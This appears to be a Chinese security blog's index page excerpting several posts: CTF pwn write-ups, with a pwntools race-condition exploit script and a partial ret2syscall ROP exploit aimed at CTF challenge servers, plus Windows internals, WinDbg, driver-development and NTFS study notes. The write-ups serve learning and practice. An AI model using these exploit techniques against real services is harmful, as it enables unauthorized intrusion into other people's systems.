PWN入门-多线程竞争做题
PWN入门-多线程竞争做题[NISACTF 2022]shop_pwn函数sale和buy中都用pthread_create创建新线程,但只有to_sale函数中存在usleep可利用延时进行条件竞争。
连续两次快速卖出即可,实践证明加上recvuntil后时间就卡不进去。
12345678910from pwn import *context(os='linux',arch='amd64',log_level='debug')p=remote("node5.anna.nssctf.cn",28653)p.sendline(b'3')p.sendline(b'0')p.sendline(b'3')p.sendline(b'0')p.sendline(b'2')p.sendline(b'1')p.interactive()
PWN入门-ret2syscall做题
PWN入门-ret2syscall做题[CISCN 2023 初赛]烧烤摊儿x86下syscall的中断方法为int 0x80,x64下为syscall。
在x86下execve的系统调用号为0x0B,保存在eax,传参分别在ebx、ecx、edx。
在x64下execve的系统调用号为0x3B,保存在rax,传参分别在rdi、rsi、rdx。
这道题是x64。
至于钱不够可以买负数瓶啤酒。
1234567891011121314151617181920212223242526from pwn import *context(arch='amd64',os='linux',log_level='debug')p=remote('node4.anna.nssctf.cn',28543)elf=ELF('./attachment')rop=ROP(elf)p.recvuntil('> ')p.sendline(b'1')p.sendline(b& ...
深入解析Windows操作系统读书笔记
深入解析Windows操作系统读书笔记系统架构内核处理器控制区(KPCR)包含中断分发表IDT、任务状态段TSS、全局描述符GDT、中断控制器状态等。
还包括内核处理器控制块KPRCB,包含与处理器有关的统计信息。
123456dt nt!_KPCR @$pcr #观察KPCR内容!pcr #观察KPCR内容!prcb #默认观察0号处理器KPRCB!prcb 2 #观察2号处理器KPRCB!prcbkernel #观察KPRCB内容dt nt!_KPRCB fffff80004b97180 MHz #观察处理器频率
实例:
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667680: kd> dt nt!_KPCR +0x000 NtTib : _NT_TIB +0x000 GdtBase : Ptr64 _KGDTENTRY64 ...
格蠹汇编读书笔记
格蠹汇编读书笔记从堆里抢救丢失的博客查看进程模块:
1lm
罗列进程的线程:
1~
罗列堆:
1!heap
列出用户态空间所有区域:
1!address
搜索,-u表示支持Unicode模式,从地址10000搜索长度80000:
1s -u 10000 L80000 "当年在交大"
转成Unicode模式看数据,长度1000,但长度一般是读到Unicode结尾:
1dU 001b5942 L1000
观察esp值:
1r esp
确定某个地址是否在堆上以及属性:
1!address 0728988a
如果无法以Unicode模式导出的话,添加两字节的Unicode起始符以正常识别Unicode编码。
1eb 001b5942-8 ff fe
数据保存为文件。
1.writemem D:\log.txt 001b5942-8 L1458
修复因误杀而瘫痪的系统运行,当系统启动失败时WInDBG触发“Bugcheck Analysis”,最后一行“Bugcheck”字样后第一个数字为停止码,需要在WinDBG帮助文件中查询,查到“STATUS_SYS ...
Windows核心编程2-丹
Windows核心编程2-丹进程获取自身模块基地址的三种方法1234567891011121314151617181920#include <tchar.h>extern "C" const IMAGE_DOS_HEADER __ImageBase;VOID DumpModule(VOID) { //法一 HMODULE hModule = ::GetModuleHandle(NULL); _tprintf(TEXT("0x%x\r\n"),(LONG)hModule); //法二 _tprintf(TEXT("0x%x\r\n"), (LONG)&__ImageBase); //法三 hModule = NULL; ::GetModuleHandleEx(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (PCTSTR)DumpModule, &hModule); _tprintf(TEXT(" ...
Windows核心编程1-天青
Windows核心编程1-天青错误处理FormatMessage1234567891011121314151617DWORD dwError = ::GetDlgItemInt(hwnd, IDC_ERRORCODE, NULL, FALSE);HLOCAL hlocal = NULL;DWORD systemLocale = MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL); //设置FormatMessage返回的语言BOOL fOk = ::FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_ALLOCATE_BUFFER, NULL, dwError, systemLocale, (PTSTR)&hlocal, 0, NULL);if (!fOk) { //不成功还可能是网络相关错误 HMODULE hDll = ::LoadLibraryEx(TEXT("netmsg.dll&quo ...
Windows驱动开发入门-文件管理技术
Windows驱动开发入门-文件管理技术文件管理内核API创建文件或目录InitializeObjectAttributes打开文件、注册表或设备都需要先用这个初始化一个OBJECT_ATTRIBUTES属性:
1234567VOID InitializeObjectAttributes( OUT POBJECT_ATTRIBUTES InitializedAttributes, IN PUNICODE_STRING ObjectName, IN ULONG Attributes, IN HANDLE RootDirectory, IN PSECURITY_DESCRIUPTOR SecurityDescriptor)
IO_STATUS_BLOCK常用于表示一个操作的结果。
1234567typedef struct _IO_STATUS_BLOCK{ union{ NTSTATUS Status; PVOID Pointer; }; ULONG_PTR Infromation ...
手把手教你手撕NTFS文件系统
手把手教你手撕NTFS文件系统Markdown小崩修不好,凑合着看。
目标:定位H:\NtfsTest\520.exe。
第一步:计算$MFT偏移地址NTFS数据存放格式为:引导扇区DBR、主文件表$MFT、系统文件、数据区。
看到全映像开头,各字段含义为:
偏移
长度(字节)
含义
0x00
3
跳转指令
0x03
8
“NTFS”
0x0B
2
每个扇区大小(字节)
0x0D
1
簇大小
0x0E
2
保留
0x10
3
0
0x13
1
0x14
2
每磁头扇区数
0x16
2
每柱面磁头数
0x18
2
MBR到DBE扇区总数
0x1A
2
0x1C
4
0x20
4
扇区总数/分区大小
0x24
4
$MFT开始簇号
0x28
8
0x30
8
0x38
8
$MFTMirr开始簇号
0x40
4
每个MFT记录簇数
0x44
4
每索引簇数
0x48
8
分区逻辑序列号
当0x0B处为0x0200、0x0D处为0x08时,$MFT开始的偏移地址为:$$0\math ...
Windows驱动开发入门
Windows驱动开发入门开始到微软官网上下载并安装SDK和WDK,这俩内部版本号必须得对上,且安装时必须保持默认安装路径不变,新建Empty WDM Driver项目。当编译时出现Spectre相关错误,在项目设置中把这东西关掉。如果还是不能编译通过,把项目目录下的.inf文件从工程中移除。当某些警告被当作错误处理时,降低警告等级并关闭警告视为错误。
如果你的项目设置中没有链接器等选项(像我这样),恭喜你需要重装系统,或搞个虚拟机装吧!
WinDBG调试Windows 7别真机搞,弄个虚拟机,先在虚拟机设置中把打印机删除,再添加串行端口,使用名字“\\.\pipe\com_1”,并把轮询时中断CPU勾选上。当虚拟机为Windows 7时运行msconfig,引导中选择高级选项并勾选调试。Windows 10中要在设置的安全和更新选项卡的针对开发人员选项中开启开发人员模式。最后运行命令:
1bcdedit /set testsigning on
打开WinDBG Preview并Attach to Kernel,选项选COM,勾选Pipe和Reconnect,Port输入“\\.\p ...
WindowsAPI编程核心技术-功能技术
WindowsAPI编程核心技术-功能技术进程遍历CreateToolhelp32Snapshot为进程/堆/模块/线程创立快照。
123456HANDLE WINAPI CreateToolhelp32Snapshot( DWORD dwFlags, //选项 TH32CS_SNAPPROCESS所有进程 TH32CS_SNAPTHREAD所有线程 TH2CS_SNAPALL所有线程加进程 TH2CS_SNAPHEAPLIST所有th32ProcessID的堆 TH2CS_SNAPMODULE所有th32ProcessID的模块 DWORD th32ProcessID //PID)//成功返回快照句柄 失败INVALID_HANDLE_VALUE
Process32First系统快照中遇到的第一个进程信息。
1234BOOL WINAPI Process32First( _In_ HANDLE hSnapshot, _Out_ LPPROCESSENTRY32 lppe)//成功TRUE 失败FALSE GetLas ...